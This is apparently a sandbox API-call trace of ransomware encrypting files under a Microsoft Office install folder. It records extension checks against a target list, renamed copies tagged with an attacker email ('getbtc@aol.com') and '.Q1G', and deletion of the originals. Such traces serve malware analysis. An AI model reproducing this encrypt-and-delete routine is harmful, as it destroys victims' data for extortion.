lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Office14\\1033\\OUTLOOK_K_COL.HXK") returned 65 [0253.057] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Office14\\1033\\OUTLOOK_K_COL.HXK") returned 65 [0253.057] lstrlenW (lpString=".doc") returned 4 [0253.057] lstrcmpiW (lpString1=".doc", lpString2=".HXK") returned -1 [0253.057] lstrlenW (lpString=".docx") returned 5 [0253.057] lstrcmpiW (lpString1=".docx", lpString2="L.HXK") returned -1 [0253.057] lstrlenW (lpString=".pdf") returned 4 [0253.057] lstrcmpiW (lpString1=".pdf", lpString2=".HXK") returned 1 [0253.057] lstrlenW (lpString=".xls") returned 4 [0253.057] lstrcmpiW (lpString1=".xls", lpString2=".HXK") returned 1 [0253.057] lstrlenW (lpString=".xlsx") returned 5 [0253.057] lstrcmpiW (lpString1=".xlsx", lpString2="L.HXK") returned -1 [0253.057] lstrlenW (lpString=".ppt") returned 4 [0253.057] lstrcmpiW (lpString1=".ppt", lpString2=".HXK") returned 1 [0253.057] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Office14\\1033\\OUTLOOK_K_COL.HXK") returned 65 [0253.057] lstrlenW (lpString=".zip") returned 4 [0253.057] lstrcmpiW (lpString1=".zip", lpString2=".HXK") returned 1 [0253.057] lstrlenW (lpString=".rar") returned 4 [0253.057] lstrcmpiW (lpString1=".rar", lpString2=".HXK") returned 1 [0253.057] lstrlenW (lpString=".bz2") returned 4 [0253.057] lstrcmpiW (lpString1=".bz2", lpString2=".HXK") returned -1 [0253.057] lstrlenW (lpString=".7z") returned 3 [0253.057] lstrcmpiW (lpString1=".7z", lpString2="HXK") returned -1 [0253.057] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Office14\\1033\\OUTLOOK_K_COL.HXK") returned 65 [0253.057] lstrlenW (lpString=".dbf") returned 4 [0253.057] lstrcmpiW (lpString1=".dbf", lpString2=".HXK") returned -1 [0253.057] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Office14\\1033\\OUTLOOK_K_COL.HXK") returned 65 [0253.057] lstrlenW (lpString=".1cd") returned 4 [0253.057] lstrcmpiW (lpString1=".1cd", lpString2=".HXK") returned -1 [0253.057] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Office14\\1033\\OUTLOOK_K_COL.HXK") returned 65 [0253.057] lstrlenW (lpString=".jpg") returned 4 [0253.057] lstrcmpiW (lpString1=".jpg", lpString2=".HXK") returned 1 [0253.058] lstrcmpiW (lpString1=".DLL", lpString2=".Q1G") returned -1 [0253.058] lstrlenW (lpString="OUTLWVW.DLL") returned 11 [0253.058] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\Office14\\1033\\OUTLWVW.DLL" (normalized: "c:\\program files\\microsoft office\\office14\\1033\\outlwvw.dll"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x1f4 [0253.058] GetFileSizeEx (in: hFile=0x1f4, lpFileSize=0x2ddff1c | out: lpFileSize=0x2ddff1c*=128864) returned 1 [0253.058] CloseHandle (hObject=0x1f4) returned 1 [0253.058] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\Office14\\1033\\OUTLWVW.DLL" (normalized: "c:\\program files\\microsoft office\\office14\\1033\\outlwvw.dll")) returned 0x20 [0253.058] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\Office14\\1033\\OUTLWVW.DLL.id-9C354B42.[getbtc@aol.com].Q1G" (normalized: "c:\\program files\\microsoft office\\office14\\1033\\outlwvw.dll.id-9c354b42.[getbtc@aol.com].q1g")) returned 0xffffffff [0253.058] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\Office14\\1033\\OUTLWVW.DLL" (normalized: "c:\\program files\\microsoft office\\office14\\1033\\outlwvw.dll"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff [0253.058] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Office14\\1033\\OUTLWVW.DLL") returned 59 [0253.059] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Office14\\1033\\OUTLWVW.DLL") returned 59 [0253.059] lstrlenW (lpString=".doc") returned 4 [0253.059] lstrcmpiW (lpString1=".doc", lpString2=".DLL") returned 1 [0253.059] lstrlenW (lpString=".docx") returned 5 [0253.059] lstrcmpiW (lpString1=".docx", lpString2="W.DLL") returned -1 [0253.059] lstrlenW (lpString=".pdf") returned 4 [0253.059] lstrcmpiW (lpString1=".pdf", lpString2=".DLL") returned 1 [0253.059] lstrlenW (lpString=".xls") returned 4 [0253.059] lstrcmpiW (lpString1=".xls", lpString2=".DLL") returned 1 [0253.059] lstrlenW (lpString=".xlsx") returned 5 [0253.059] lstrcmpiW (lpString1=".xlsx", lpString2="W.DLL") returned -1 [0253.059] lstrlenW (lpString=".ppt") returned 4 [0253.059] lstrcmpiW (lpString1=".ppt", lpString2=".DLL") returned 1 [0253.059] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Office14\\1033\\OUTLWVW.DLL") returned 59 [0253.059] lstrlenW (lpString=".zip") returned 4 [0253.059] lstrcmpiW (lpString1=".zip", lpString2=".DLL") returned 1 [0253.059] lstrlenW (lpString=".rar") returned 4 [0253.059] lstrcmpiW (lpString1=".rar", lpString2=".DLL") returned 1 [0253.059] lstrlenW (lpString=".bz2") returned 4 [0253.059] lstrcmpiW (lpString1=".bz2", lpString2=".DLL") returned -1 [0253.059] lstrlenW (lpString=".7z") returned 3 [0253.059] lstrcmpiW (lpString1=".7z", lpString2="DLL") returned -1 [0253.059] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Office14\\1033\\OUTLWVW.DLL") returned 59 [0253.059] lstrlenW (lpString=".dbf") returned 4 [0253.059] lstrcmpiW (lpString1=".dbf", lpString2=".DLL") returned -1 [0253.059] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Office14\\1033\\OUTLWVW.DLL") returned 59 [0253.059] lstrlenW (lpString=".1cd") returned 4 [0253.059] lstrcmpiW (lpString1=".1cd", lpString2=".DLL") returned -1 [0253.059] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Office14\\1033\\OUTLWVW.DLL") returned 59 [0253.059] lstrlenW (lpString=".jpg") returned 4 [0253.059] lstrcmpiW (lpString1=".jpg", lpString2=".DLL") returned 1 [0253.059] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Office14\\1033\\OUTLWVW.DLL") returned 59 [0253.059] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Office14\\1033\\OUTLWVW.DLL") returned 59 [0253.059] lstrlenW (lpString=".doc") returned 4 [0253.059] lstrcmpiW (lpString1=".doc", lpString2=".DLL") returned 1 [0253.059] lstrlenW (lpString=".docx") returned 5 [0253.059] lstrcmpiW (lpString1=".docx", lpString2="W.DLL") returned -1 [0253.059] lstrlenW (lpString=".pdf") returned 4 [0253.059] lstrcmpiW (lpString1=".pdf", lpString2=".DLL") returned 1 [0253.060] lstrlenW (lpString=".xls") returned 4 [0253.060] lstrcmpiW (lpString1=".xls", lpString2=".DLL") returned 1 [0253.060] lstrlenW (lpString=".xlsx") returned 5 [0253.060] lstrcmpiW (lpString1=".xlsx", lpString2="W.DLL") returned -1 [0253.060] lstrlenW (lpString=".ppt") returned 4 [0253.060] lstrcmpiW (lpString1=".ppt", lpString2=".DLL") returned 1 [0253.060] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Office14\\1033\\OUTLWVW.DLL") returned 59 [0253.060] lstrlenW (lpString=".zip") returned 4 [0253.060] lstrcmpiW (lpString1=".zip", lpString2=".DLL") returned 1 [0253.060] lstrlenW (lpString=".rar") returned 4 [0253.060] lstrcmpiW (lpString1=".rar", lpString2=".DLL") returned 1 [0253.060] lstrlenW (lpString=".bz2") returned 4 [0253.060] lstrcmpiW (lpString1=".bz2", lpString2=".DLL") returned -1 [0253.060] lstrlenW (lpString=".7z") returned 3 [0253.060] lstrcmpiW (lpString1=".7z", lpString2="DLL") returned -1 [0253.060] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Office14\\1033\\OUTLWVW.DLL") returned 59 [0253.060] lstrlenW (lpString=".dbf") returned 4 [0253.060] lstrcmpiW (lpString1=".dbf", lpString2=".DLL") returned -1 [0253.060] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Office14\\1033\\OUTLWVW.DLL") returned 59 [0253.060] lstrlenW (lpString=".1cd") returned 4 [0253.060] lstrcmpiW (lpString1=".1cd", lpString2=".DLL") returned -1 [0253.060] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Office14\\1033\\OUTLWVW.DLL") returned 59 [0253.060] lstrlenW (lpString=".jpg") returned 4 [0253.060] lstrcmpiW (lpString1=".jpg", lpString2=".DLL") returned 1 [0253.060] lstrcmpiW (lpString1=".IDX_DLL", lpString2=".Q1G") returned -1 [0253.060] lstrlenW (lpString="OUTLWVW.DLL.IDX_DLL") returned 19 [0253.060] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\Office14\\1033\\OUTLWVW.DLL.IDX_DLL" (normalized: "c:\\program files\\microsoft office\\office14\\1033\\outlwvw.dll.idx_dll"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x1f4 [0253.061] GetFileSizeEx (in: hFile=0x1f4, lpFileSize=0x2ddff1c | out: lpFileSize=0x2ddff1c*=11136) returned 1 [0253.061] CloseHandle (hObject=0x1f4) returned 1 [0253.061] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\Office14\\1033\\OUTLWVW.DLL.IDX_DLL" (normalized: "c:\\program files\\microsoft office\\office14\\1033\\outlwvw.dll.idx_dll")) returned 0x20 [0253.061] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\Office14\\1033\\OUTLWVW.DLL.IDX_DLL.id-9C354B42.[getbtc@aol.com].Q1G" (normalized: "c:\\program files\\microsoft office\\office14\\1033\\outlwvw.dll.idx_dll.id-9c354b42.[getbtc@aol.com].q1g")) returned 0xffffffff [0253.061] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\Office14\\1033\\OUTLWVW.DLL.IDX_DLL" (normalized: "c:\\program files\\microsoft office\\office14\\1033\\outlwvw.dll.idx_dll"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x1f4 [0253.061] SetFilePointerEx (in: hFile=0x1f4, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2ddfec8 | out: lpNewFilePointer=0x0) returned 1 [0253.061] SetFilePointerEx (in: hFile=0x1f4, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2ddfec8 | out: lpNewFilePointer=0x0) returned 1 [0253.061] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\Office14\\1033\\OUTLWVW.DLL.IDX_DLL.id-9C354B42.[getbtc@aol.com].Q1G" (normalized: "c:\\program files\\microsoft office\\office14\\1033\\outlwvw.dll.idx_dll.id-9c354b42.[getbtc@aol.com].q1g"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x394 [0253.083] GetLastError () returned 0x0 [0253.083] ReadFile (in: hFile=0x1f4, lpBuffer=0x3ca0020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x2ddfed4, lpOverlapped=0x0 | out: lpBuffer=0x3ca0020*, lpNumberOfBytesRead=0x2ddfed4*=0x2b80, lpOverlapped=0x0) returned 1 [0253.087] WriteFile (in: hFile=0x394, lpBuffer=0x3ca0020*, nNumberOfBytesToWrite=0x2b90, lpNumberOfBytesWritten=0x2ddfc9c, lpOverlapped=0x0 | out: lpBuffer=0x3ca0020*, lpNumberOfBytesWritten=0x2ddfc9c*=0x2b90, lpOverlapped=0x0) returned 1 [0253.088] ReadFile (in: hFile=0x1f4, lpBuffer=0x3ca0020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x2ddfed4, lpOverlapped=0x0 | out: lpBuffer=0x3ca0020*, lpNumberOfBytesRead=0x2ddfed4*=0x0, lpOverlapped=0x0) returned 1 [0253.088] WriteFile (in: hFile=0x394, lpBuffer=0x3ca0020*, nNumberOfBytesToWrite=0xfa, lpNumberOfBytesWritten=0x2ddfc9c, lpOverlapped=0x0 | out: lpBuffer=0x3ca0020*, lpNumberOfBytesWritten=0x2ddfc9c*=0xfa, lpOverlapped=0x0) returned 1 [0253.088] SetEndOfFile (hFile=0x394) returned 1 [0253.088] CloseHandle (hObject=0x394) returned 1 [0253.088] SetFilePointerEx (in: hFile=0x1f4, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2ddfec8 | out: lpNewFilePointer=0x0) returned 1 [0253.088] SetEndOfFile (hFile=0x1f4) returned 1 [0253.090] CloseHandle (hObject=0x1f4) returned 1 [0253.090] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\Office14\\1033\\OUTLWVW.DLL.IDX_DLL.id-9C354B42.[getbtc@aol.com].Q1G", dwFileAttributes=0x20) returned 1 [0253.402] DeleteFileW (lpFileName="C:\\Program Files\\Microsoft Office\\Office14\\1033\\OUTLWVW.DLL.IDX_DLL" (normalized: "c:\\program files\\microsoft office\\office14\\1033\\outlwvw.dll.idx_dll")) returned 1 [0253.459] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Office14\\1033\\OUTLWVW.DLL.IDX_DLL") returned 67 [0253.459] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Office14\\1033\\OUTLWVW.DLL.IDX_DLL") returned 67 [0253.459] lstrlenW (lpString=".doc") returned 4 [0253.459] lstrcmpiW (lpString1=".doc", lpString2="_DLL") returned -1 [0253.459] lstrlenW (lpString=".docx") returned 5 [0253.459] lstrcmpiW (lpString1=".docx", lpString2="X_DLL") returned -1 [0253.459] lstrlenW (lpString=".pdf") returned 4 [0253.459] lstrcmpiW (lpString1=".pdf", lpString2="_DLL") returned -1 [0253.459] lstrlenW (lpString=".xls") returned 4 [0253.460] lstrcmpiW (lpString1=".xls", lpString2="_DLL") returned -1 [0253.460] lstrlenW (lpString=".xlsx") returned 5 [0253.460] lstrcmpiW (lpString1=".xlsx", lpString2="X_DLL") returned -1 [0253.460] lstrlenW (lpString=".ppt") returned 4 [0253.460] lstrcmpiW (lpString1=".ppt", lpString2="_DLL") returned -1 [0253.460] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Office14\\1033\\OUTLWVW.DLL.IDX_DLL") returned 67 [0253.460] lstrlenW (lpString=".zip") returned 4 [0253.460] lstrcmpiW (lpString1=".zip", lpString2="_DLL") returned -1 [0253.460] lstrlenW (lpString=".rar") returned 4 [0253.460] lstrcmpiW (lpString1=".rar", lpString2="_DLL") returned -1 [0253.460] lstrlenW (lpString=".bz2") returned 4 [0253.460] lstrcmpiW (lpString1=".bz2", lpString2="_DLL") returned -1 [0253.460] lstrlenW (lpString=".7z") returned 3 [0253.460] lstrcmpiW (lpString1=".7z", lpString2="DLL") returned -1 [0253.460] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Office14\\1033\\OUTLWVW.DLL.IDX_DLL") returned 67 [0253.460] lstrlenW (lpString=".dbf") returned 4 [0253.460] lstrcmpiW (lpString1=".dbf", lpString2="_DLL") returned -1 [0253.460] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Office14\\1033\\OUTLWVW.DLL.IDX_DLL") returned 67 [0253.460] lstrlenW (lpString=".1cd") returned 4 [0253.460] lstrcmpiW (lpString1=".1cd", lpString2="_DLL") returned -1 [0253.460] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Office14\\1033\\OUTLWVW.DLL.IDX_DLL") returned 67 [0253.460] lstrlenW (lpString=".jpg") returned 4 [0253.460] lstrcmpiW (lpString1=".jpg", lpString2="_DLL") returned -1 [0253.460] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Office14\\1033\\OUTLWVW.DLL.IDX_DLL") returned 67 [0253.460] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Office14\\1033\\OUTLWVW.DLL.IDX_DLL") returned 67 [0253.460] lstrlenW (lpString=".doc") returned 4 [0253.460] lstrcmpiW (lpString1=".doc", lpString2="_DLL") returned -1 [0253.460] lstrlenW (lpString=".docx") returned 5 [0253.460] lstrcmpiW (lpString1=".docx", lpString2="X_DLL") returned -1 [0253.460] lstrlenW (lpString=".pdf") returned 4 [0253.460] lstrcmpiW (lpString1=".pdf", lpString2="_DLL") returned -1 [0253.460] lstrlenW (lpString=".xls") returned 4 [0253.460] lstrcmpiW (lpString1=".xls", lpString2="_DLL") returned -1 [0253.460] lstrlenW (lpString=".xlsx") returned 5 [0253.460] lstrcmpiW (lpString1=".xlsx", lpString2="X_DLL") returned -1 [0253.460] lstrlenW (lpString=".ppt") returned 4 [0253.461] lstrcmpiW (lpString1=".ppt", lpString2="_DLL") returned -1 [0253.461] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Office14\\1033\\OUTLWVW.DLL.IDX_DLL") returned 67 [0253.461] lstrlenW (lpString=".zip") returned 4 [0253.461] lstrcmpiW (lpString1=".zip", lpString2="_DLL") returned -1 [0253.461] lstrlenW (lpString=".rar") returned 4 [0253.461] lstrcmpiW (lpString1=".rar", lpString2="_DLL") returned -1 [0253.461] lstrlenW (lpString=".bz2") returned 4 [0253.461] lstrcmpiW (lpString1=".bz2", lpString2="_DLL") returned -1 [0253.461] lstrlenW (lpString=".7z") returned 3 [0253.461] lstrcmpiW (lpString1=".7z", lpString2="DLL") returned -1 [0253.461] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Office14\\1033\\OUTLWVW.DLL.IDX_DLL") returned 67 [0253.461] lstrlenW (lpString=".dbf") returned 4 [0253.461] lstrcmpiW (lpString1=".dbf", lpString2="_DLL") returned -1 [0253.461] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Office14\\1033\\OUTLWVW.DLL.IDX_DLL") returned 67 [0253.461] lstrlenW (lpString=".1cd") returned 4 [0253.461] lstrcmpiW (lpString1=".1cd", lpString2="_DLL") returned -1 [0253.461] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Office14\\1033\\OUTLWVW.DLL.IDX_DLL") returned 67 [0253.461] lstrlenW (lpString=".jpg") returned 4 [0253.461] lstrcmpiW (lpString1=".jpg", lpString2="_DLL") returned -1 [0253.461] lstrcmpiW (lpString1=".HXT", lpString2=".Q1G") returned -1 [0253.461] lstrlenW (lpString="POWERPNT.DEV_COL.HXT") returned 20 [0253.461] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\Office14\\1033\\POWERPNT.DEV_COL.HXT" (normalized: "c:\\program files\\microsoft office\\office14\\1033\\powerpnt.dev_col.hxt"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x3a0 [0253.462] GetFileSizeEx (in: hFile=0x3a0, lpFileSize=0x2ddff1c | out: lpFileSize=0x2ddff1c*=212) returned 1 [0253.462] CloseHandle (hObject=0x3a0) returned 1 [0253.462] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\Office14\\1033\\POWERPNT.DEV_COL.HXT" (normalized: "c:\\program files\\microsoft office\\office14\\1033\\powerpnt.dev_col.hxt")) returned 0x20 [0253.462] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\Office14\\1033\\POWERPNT.DEV_COL.HXT.id-9C354B42.[getbtc@aol.com].Q1G" (normalized: "c:\\program files\\microsoft office\\office14\\1033\\powerpnt.dev_col.hxt.id-9c354b42.[getbtc@aol.com].q1g")) returned 0xffffffff [0253.462] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\Office14\\1033\\POWERPNT.DEV_COL.HXT" (normalized: "c:\\program files\\microsoft office\\office14\\1033\\powerpnt.dev_col.hxt"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x3a0 [0253.462] SetFilePointerEx (in: hFile=0x3a0, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2ddfec8 | out: lpNewFilePointer=0x0) returned 1 [0253.462] SetFilePointerEx (in: hFile=0x3a0, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2ddfec8 | out: lpNewFilePointer=0x0) returned 1 [0253.462] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\Office14\\1033\\POWERPNT.DEV_COL.HXT.id-9C354B42.[getbtc@aol.com].Q1G" (normalized: "c:\\program files\\microsoft office\\office14\\1033\\powerpnt.dev_col.hxt.id-9c354b42.[getbtc@aol.com].q1g"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x3b8 [0253.463] GetLastError () returned 0x0 [0253.463] ReadFile (in: hFile=0x3a0, lpBuffer=0x3ca0020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x2ddfed4, lpOverlapped=0x0 | out: lpBuffer=0x3ca0020*, lpNumberOfBytesRead=0x2ddfed4*=0xd4, lpOverlapped=0x0) returned 1 [0253.464] WriteFile (in: hFile=0x3b8, lpBuffer=0x3ca0020*, nNumberOfBytesToWrite=0xe0, lpNumberOfBytesWritten=0x2ddfc9c, lpOverlapped=0x0 | out: lpBuffer=0x3ca0020*, lpNumberOfBytesWritten=0x2ddfc9c*=0xe0, lpOverlapped=0x0) returned 1 [0253.464] ReadFile (in: hFile=0x3a0, lpBuffer=0x3ca0020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x2ddfed4, lpOverlapped=0x0 | out: lpBuffer=0x3ca0020*, lpNumberOfBytesRead=0x2ddfed4*=0x0, lpOverlapped=0x0) returned 1 [0253.464] WriteFile (in: hFile=0x3b8, lpBuffer=0x3ca0020*, nNumberOfBytesToWrite=0xfc, lpNumberOfBytesWritten=0x2ddfc9c, lpOverlapped=0x0 | out: lpBuffer=0x3ca0020*, lpNumberOfBytesWritten=0x2ddfc9c*=0xfc, lpOverlapped=0x0) returned 1 [0253.465] SetEndOfFile (hFile=0x3b8) returned 1 [0253.465] CloseHandle (hObject=0x3b8) returned 1 [0253.465] SetFilePointerEx (in: hFile=0x3a0, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2ddfec8 | out: lpNewFilePointer=0x0) returned 1 [0253.465] SetEndOfFile (hFile=0x3a0) returned 1 [0253.467] CloseHandle (hObject=0x3a0) returned 1 [0253.467] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\Office14\\1033\\POWERPNT.DEV_COL.HXT.id-9C354B42.[getbtc@aol.com].Q1G", dwFileAttributes=0x20) returned 1 [0253.467] DeleteFileW (lpFileName="C:\\Program Files\\Microsoft Office\\Office14\\1033\\POWERPNT.DEV_COL.HXT" (normalized: "c:\\program files\\microsoft office\\office14\\1033\\powerpnt.dev_col.hxt")) returned 1 [0253.468] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Office14\\1033\\POWERPNT.DEV_COL.HXT") returned 68 [0253.468] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Office14\\1033\\POWERPNT.DEV_COL.HXT") returned 68 [0253.468] lstrlenW (lpString=".doc") returned 4 [0253.468] lstrcmpiW (lpString1=".doc", lpString2=".HXT") returned -1 [0253.468] lstrlenW (lpString=".docx") returned 5 [0253.468] lstrcmpiW (lpString1=".docx", lpString2="L.HXT") returned -1 [0253.468] lstrlenW (lpString=".pdf") returned 4 [0253.468] lstrcmpiW (lpString1=".pdf", lpString2=".HXT") returned 1 [0253.468] lstrlenW (lpString=".xls") returned 4 [0253.468] lstrcmpiW (lpString1=".xls", lpString2=".HXT") returned 1 [0253.468] lstrlenW (lpString=".xlsx") returned 5 [0253.468] lstrcmpiW (lpString1=".xlsx", lpString2="L.HXT") returned -1 [0253.468] lstrlenW (lpString=".ppt") returned 4 [0253.468] lstrcmpiW (lpString1=".ppt", lpString2=".HXT") returned 1 [0253.468] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Office14\\1033\\POWERPNT.DEV_COL.HXT") returned 68 [0253.468] lstrlenW (lpString=".zip") returned 4 [0253.468] lstrcmpiW (lpString1=".zip", lpString2=".HXT") returned 1 [0253.468] lstrlenW (lpString=".rar") returned 4 [0253.468] lstrcmpiW (lpString1=".rar", lpString2=".HXT") returned 1 [0253.468] lstrlenW (lpString=".bz2") returned 4 [0253.468] lstrcmpiW (lpString1=".bz2", lpString2=".HXT") returned -1 [0253.468] lstrlenW (lpString=".7z") returned 3 [0253.468] lstrcmpiW (lpString1=".7z", lpString2="HXT") returned -1 [0253.468] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Office14\\1033\\POWERPNT.DEV_COL.HXT") returned 68 [0253.468] lstrlenW (lpString=".dbf") returned 4 [0253.468] lstrcmpiW (lpString1=".dbf", lpString2=".HXT") returned -1 [0253.468] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Office14\\1033\\POWERPNT.DEV_COL.HXT") returned 68 [0253.468] lstrlenW (lpString=".1cd") returned 4 [0253.468] lstrcmpiW (lpString1=".1cd", lpString2=".HXT") returned -1 [0253.468] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Office14\\1033\\POWERPNT.DEV_COL.HXT") returned 68 [0253.468] lstrlenW (lpString=".jpg") returned 4 [0253.468] lstrcmpiW (lpString1=".jpg", lpString2=".HXT") returned 1 [0253.469] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Office14\\1033\\POWERPNT.DEV_COL.HXT") returned 68 [0253.469] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Office14\\1033\\POWERPNT.DEV_COL.HXT") returned 68 [0253.469] lstrlenW (lpString=".doc") returned 4 [0253.469] lstrcmpiW (lpString1=".doc", lpString2=".HXT") returned -1 [0253.469] lstrlenW (lpString=".docx") returned 5 [0253.469] lstrcmpiW (lpString1=".docx", lpString2="L.HXT") returned -1 [0253.469] lstrlenW (lpString=".pdf") returned 4 [0253.469] lstrcmpiW (lpString1=".pdf", lpString2=".HXT") returned 1 [0253.469] lstrlenW (lpString=".xls") returned 4 [0253.469] lstrcmpiW (lpString1=".xls", lpString2=".HXT") returned 1 [0253.469] lstrlenW (lpString=".xlsx") returned 5 [0253.469] lstrcmpiW (lpString1=".xlsx", lpString2="L.HXT") returned -1 [0253.469] lstrlenW (lpString=".ppt") returned 4 [0253.469] lstrcmpiW (lpString1=".ppt", lpString2=".HXT") returned 1 [0253.469] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Office14\\1033\\POWERPNT.DEV_COL.HXT") returned 68 [0253.469] lstrlenW (lpString=".zip") returned 4 [0253.469] lstrcmpiW (lpString1=".zip", lpString2=".HXT") returned 1 [0253.469] lstrlenW (lpString=".rar") returned 4 [0253.469] lstrcmpiW (lpString1=".rar", lpString2=".HXT") returned 1 [0253.469] lstrlenW (lpString=".bz2") returned 4 [0253.469] lstrcmpiW (lpString1=".bz2", lpString2=".HXT") returned -1 [0253.469] lstrlenW (lpString=".7z") returned 3 [0253.469] lstrcmpiW (lpString1=".7z", lpString2="HXT") returned -1 [0253.469] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Office14\\1033\\POWERPNT.DEV_COL.HXT") returned 68 [0253.469] lstrlenW (lpString=".dbf") returned 4 [0253.469] lstrcmpiW (lpString1=".dbf", lpString2=".HXT") returned -1 [0253.469] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Office14\\1033\\POWERPNT.DEV_COL.HXT") returned 68 [0253.469] lstrlenW (lpString=".1cd") returned 4 [0253.469] lstrcmpiW (lpString1=".1cd", lpString2=".HXT") returned -1 [0253.469] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Office14\\1033\\POWERPNT.DEV_COL.HXT") returned 68 [0253.469] lstrlenW (lpString=".jpg") returned 4 [0253.469] lstrcmpiW (lpString1=".jpg", lpString2=".HXT") returned 1 [0253.469] lstrcmpiW (lpString1=".HXK", lpString2=".Q1G") returned -1 [0253.470] lstrlenW (lpString="POWERPNT.DEV_F_COL.HXK") returned 22 [0253.470] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\Office14\\1033\\POWERPNT.DEV_F_COL.HXK" (normalized: "c:\\program files\\microsoft office\\office14\\1033\\powerpnt.dev_f_col.hxk"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x3a0 [0253.470] GetFileSizeEx (in: hFile=0x3a0, lpFileSize=0x2ddff1c | out: lpFileSize=0x2ddff1c*=114) returned 1 [0253.470] CloseHandle (hObject=0x3a0) returned 1 [0253.470] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\Office14\\1033\\POWERPNT.DEV_F_COL.HXK" (normalized: "c:\\program files\\microsoft office\\office14\\1033\\powerpnt.dev_f_col.hxk")) returned 0x20 